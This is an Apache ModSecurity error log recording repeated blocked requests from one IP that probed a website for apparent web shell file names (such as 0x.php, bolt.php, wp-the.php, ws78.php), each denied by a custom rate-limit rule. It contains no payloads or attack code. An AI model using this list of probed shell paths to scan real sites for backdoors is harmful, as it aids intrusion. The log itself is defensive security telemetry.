[Wed Apr 22 23:37:40.850553 2026] [:error] [pid 6251:tid 6309] [client 4.232.188.102:65251] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aejrRCsFAzbyObL-SQ6YEgAAAJg"]
[Wed Apr 22 23:37:41.449882 2026] [:error] [pid 6251:tid 6304] [client 4.232.188.102:65214] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aejrRSsFAzbyObL-SQ6YEwAAAJM"]
[Wed Apr 22 23:37:42.555025 2026] [:error] [pid 9085:tid 9109] [client 4.232.188.102:64587] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aejrRt-_-or9vQnlWnrkrwAAAVY"]
[Wed Apr 22 23:37:43.172369 2026] [:error] [pid 6384:tid 6394] [client 4.232.188.102:65220] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/0x.php"] [unique_id "aejrRz58M3t15ICeWHWYeAAAAMc"]
[Wed Apr 22 23:37:43.856334 2026] [:error] [pid 6384:tid 6395] [client 4.232.188.102:64624] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aejrRz58M3t15ICeWHWYegAAAMg"]
[Wed Apr 22 23:37:45.737483 2026] [:error] [pid 6384:tid 6397] [client 4.232.188.102:65172] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aejrST58M3t15ICeWHWYfwAAAMo"]
[Wed Apr 22 23:37:48.727601 2026] [:error] [pid 6384:tid 6407] [client 4.232.188.102:65192] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aejrTD58M3t15ICeWHWYigAAANQ"]
[Wed Apr 22 23:37:51.041874 2026] [:error] [pid 23776:tid 23778] [client 4.232.188.102:65250] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bgymj.php"] [unique_id "aejrT7RExf-1pAbSeJswIgAAAYA"]
[Wed Apr 22 23:37:53.237065 2026] [:error] [pid 23776:tid 23787] [client 4.232.188.102:65213] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aejrUbRExf-1pAbSeJswJgAAAYk"]
[Wed Apr 22 23:37:54.557435 2026] [:error] [pid 23776:tid 23781] [client 4.232.188.102:65176] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aejrUrRExf-1pAbSeJswLQAAAYM"]
[Wed Apr 22 23:37:56.517314 2026] [:error] [pid 6250:tid 6274] [client 4.232.188.102:65265] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aejrVA-iZeQkqmQVfj4ySwAAAFQ"]
[Wed Apr 22 23:37:58.398541 2026] [:error] [pid 9085:tid 9088] [client 4.232.188.102:65156] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/100.php"] [unique_id "aejrVt-_-or9vQnlWnrk0wAAAUE"]
[Wed Apr 22 23:38:00.381351 2026] [:error] [pid 9085:tid 9090] [client 4.232.188.102:64590] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aejrWN-_-or9vQnlWnrk1wAAAUM"]
[Wed Apr 22 23:38:01.110888 2026] [:error] [pid 9085:tid 9098] [client 4.232.188.102:65203] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aejrWd-_-or9vQnlWnrk2AAAAUs"]
[Wed Apr 22 23:38:01.900636 2026] [:error] [pid 6251:tid 6294] [client 4.232.188.102:65179] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aejrWSsFAzbyObL-SQ6YGwAAAIk"]
[Wed Apr 22 23:38:02.798032 2026] [:error] [pid 23776:tid 23781] [client 4.232.188.102:65258] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bolt.php"] [unique_id "aejrWrRExf-1pAbSeJswQQAAAYM"]
[Wed Apr 22 23:38:03.589891 2026] [:error] [pid 6344:tid 6364] [client 4.232.188.102:64559] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aejrW0DOTF-pkQnDeUkdtQAAAA8"]
[Wed Apr 22 23:38:04.704221 2026] [:error] [pid 23776:tid 23800] [client 4.232.188.102:64513] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aejrXLRExf-1pAbSeJswRwAAAZY"]
[Wed Apr 22 23:38:06.492622 2026] [:error] [pid 9085:tid 9090] [client 4.232.188.102:64582] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aejrXt-_-or9vQnlWnrk4QAAAUM"]
[Wed Apr 22 23:38:07.052675 2026] [:error] [pid 9085:tid 9101] [client 4.232.188.102:65236] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/koiy.php"] [unique_id "aejrX9-_-or9vQnlWnrk5AAAAU4"]
[Wed Apr 22 23:38:08.034299 2026] [:error] [pid 6250:tid 6260] [client 4.232.188.102:64588] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aejrYA-iZeQkqmQVfj4yWAAAAEY"]
[Wed Apr 22 23:38:08.996775 2026] [:error] [pid 9085:tid 9105] [client 4.232.188.102:65195] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aejrYN-_-or9vQnlWnrk8QAAAVI"]
[Wed Apr 22 23:38:10.193309 2026] [:error] [pid 9085:tid 9091] [client 4.232.188.102:64611] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aejrYt-_-or9vQnlWnrk-AAAAUQ"]
[Wed Apr 22 23:38:11.694514 2026] [:error] [pid 6344:tid 6360] [client 4.232.188.102:65278] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/albin.php"] [unique_id "aejrY0DOTF-pkQnDeUkdwQAAAAs"]
[Wed Apr 22 23:38:12.615960 2026] [:error] [pid 9085:tid 9110] [client 4.232.188.102:64615] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aejrZN-_-or9vQnlWnrlBgAAAVc"]
[Wed Apr 22 23:38:13.458504 2026] [:error] [pid 9085:tid 9099] [client 4.232.188.102:64597] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aejrZd-_-or9vQnlWnrlDgAAAUw"]
[Wed Apr 22 23:38:14.016866 2026] [:error] [pid 9085:tid 9107] [client 4.232.188.102:65154] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aejrZt-_-or9vQnlWnrlFAAAAVQ"]
[Wed Apr 22 23:38:16.086930 2026] [:error] [pid 23776:tid 23778] [client 4.232.188.102:65169] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-the.php"] [unique_id "aejraLRExf-1pAbSeJswUwAAAYA"]
[Wed Apr 22 23:38:17.777548 2026] [:error] [pid 6250:tid 6278] [client 4.232.188.102:64526] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/sa.php7"] [unique_id "aejraQ-iZeQkqmQVfj4yXgAAAFg"]
[Wed Apr 22 23:38:27.826754 2026] [:error] [pid 23776:tid 23785] [client 4.232.188.102:65211] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aejrc7RExf-1pAbSeJsweAAAAYc"]
[Wed Apr 22 23:38:29.097505 2026] [:error] [pid 6344:tid 6353] [client 4.232.188.102:65186] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aejrdUDOTF-pkQnDeUkd1wAAAAQ"]
[Wed Apr 22 23:38:32.474469 2026] [:error] [pid 6251:tid 6302] [client 4.232.188.102:65261] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aejreCsFAzbyObL-SQ6YLQAAAJE"]
[Wed Apr 22 23:38:35.900004 2026] [:error] [pid 6344:tid 6359] [client 4.232.188.102:65219] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/casp1.php"] [unique_id "aejre0DOTF-pkQnDeUkd4AAAAAo"]
[Wed Apr 22 23:38:38.079766 2026] [:error] [pid 23776:tid 23798] [client 4.232.188.102:64589] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aejrfrRExf-1pAbSeJswjAAAAZQ"]
[Wed Apr 22 23:38:39.224526 2026] [:error] [pid 6344:tid 6350] [client 4.232.188.102:65177] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aejrf0DOTF-pkQnDeUkd7wAAAAE"]
[Wed Apr 22 23:38:42.351894 2026] [:error] [pid 6384:tid 6406] [client 4.232.188.102:65164] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aejrgj58M3t15ICeWHWY0QAAANM"]
[Wed Apr 22 23:38:43.524061 2026] [:error] [pid 6344:tid 6368] [client 4.232.188.102:63959] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/acc.php"] [unique_id "aejrg0DOTF-pkQnDeUkd-AAAABM"]
[Wed Apr 22 23:38:44.453936 2026] [:error] [pid 6252:tid 6324] [client 4.232.188.102:64613] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aejrhOtGYuiYb1nWBpRrpQAAAQw"]
[Wed Apr 22 23:38:45.224006 2026] [:error] [pid 6252:tid 6335] [client 4.232.188.102:64603] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aejrhetGYuiYb1nWBpRrqgAAARc"]
[Wed Apr 22 23:38:46.973626 2026] [:error] [pid 6250:tid 6264] [client 4.232.188.102:65161] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aejrhg-iZeQkqmQVfj4yhAAAAEo"]
[Wed Apr 22 23:38:48.867904 2026] [:error] [pid 6250:tid 6278] [client 4.232.188.102:64531] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/asasx.php"] [unique_id "aejriA-iZeQkqmQVfj4yhQAAAFg"]
[Wed Apr 22 23:38:50.252693 2026] [:error] [pid 6384:tid 6396] [client 4.232.188.102:64581] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aejrij58M3t15ICeWHWY5wAAAMk"]
[Wed Apr 22 23:38:51.623881 2026] [:error] [pid 23776:tid 23796] [client 4.232.188.102:64584] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aejri7RExf-1pAbSeJswmAAAAZI"]
[Wed Apr 22 23:38:53.622336 2026] [:error] [pid 6384:tid 6406] [client 4.232.188.102:64638] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aejrjT58M3t15ICeWHWY7wAAANM"]
[Wed Apr 22 23:38:55.246403 2026] [:error] [pid 6384:tid 6390] [client 4.232.188.102:64566] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/xltt.php"] [unique_id "aejrjz58M3t15ICeWHWY9QAAAMM"]
[Wed Apr 22 23:38:56.836021 2026] [:error] [pid 6384:tid 6398] [client 4.232.188.102:64606] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aejrkD58M3t15ICeWHWY_QAAAMs"]
[Wed Apr 22 23:38:58.734831 2026] [:error] [pid 6384:tid 6395] [client 4.232.188.102:64576] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aejrkj58M3t15ICeWHWZBQAAAMg"]
[Wed Apr 22 23:39:00.773818 2026] [:error] [pid 6384:tid 6408] [client 4.232.188.102:64637] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aejrlD58M3t15ICeWHWZCwAAANU"]
[Wed Apr 22 23:39:02.747742 2026] [:error] [pid 6384:tid 6411] [client 4.232.188.102:64636] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/packsin1.php"] [unique_id "aejrlj58M3t15ICeWHWZEgAAANg"]
[Wed Apr 22 23:39:04.368726 2026] [:error] [pid 9085:tid 9109] [client 4.232.188.102:64609] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aejrmN-_-or9vQnlWnrliAAAAVY"]
[Wed Apr 22 23:39:04.981905 2026] [:error] [pid 9085:tid 9111] [client 4.232.188.102:65189] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aejrmN-_-or9vQnlWnrljAAAAVg"]
[Wed Apr 22 23:39:05.561995 2026] [:error] [pid 9085:tid 9094] [client 4.232.188.102:65198] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aejrmd-_-or9vQnlWnrlkgAAAUc"]
[Wed Apr 22 23:39:06.184603 2026] [:error] [pid 6344:tid 6351] [client 4.232.188.102:65244] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/press.php"] [unique_id "aejrmkDOTF-pkQnDeUkeCgAAAAI"]
[Wed Apr 22 23:39:06.799006 2026] [:error] [pid 6252:tid 6327] [client 4.232.188.102:65210] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aejrmutGYuiYb1nWBpRruwAAAQ8"]
[Wed Apr 22 23:39:07.549816 2026] [:error] [pid 6344:tid 6363] [client 4.232.188.102:64623] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aejrm0DOTF-pkQnDeUkeEQAAAA4"]
[Wed Apr 22 23:39:08.416063 2026] [:error] [pid 6384:tid 6408] [client 4.232.188.102:63960] [client 4.232.188.102] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/ws78.php"] [unique_id "aejrnD58M3t15ICeWHWZHAAAANU"]
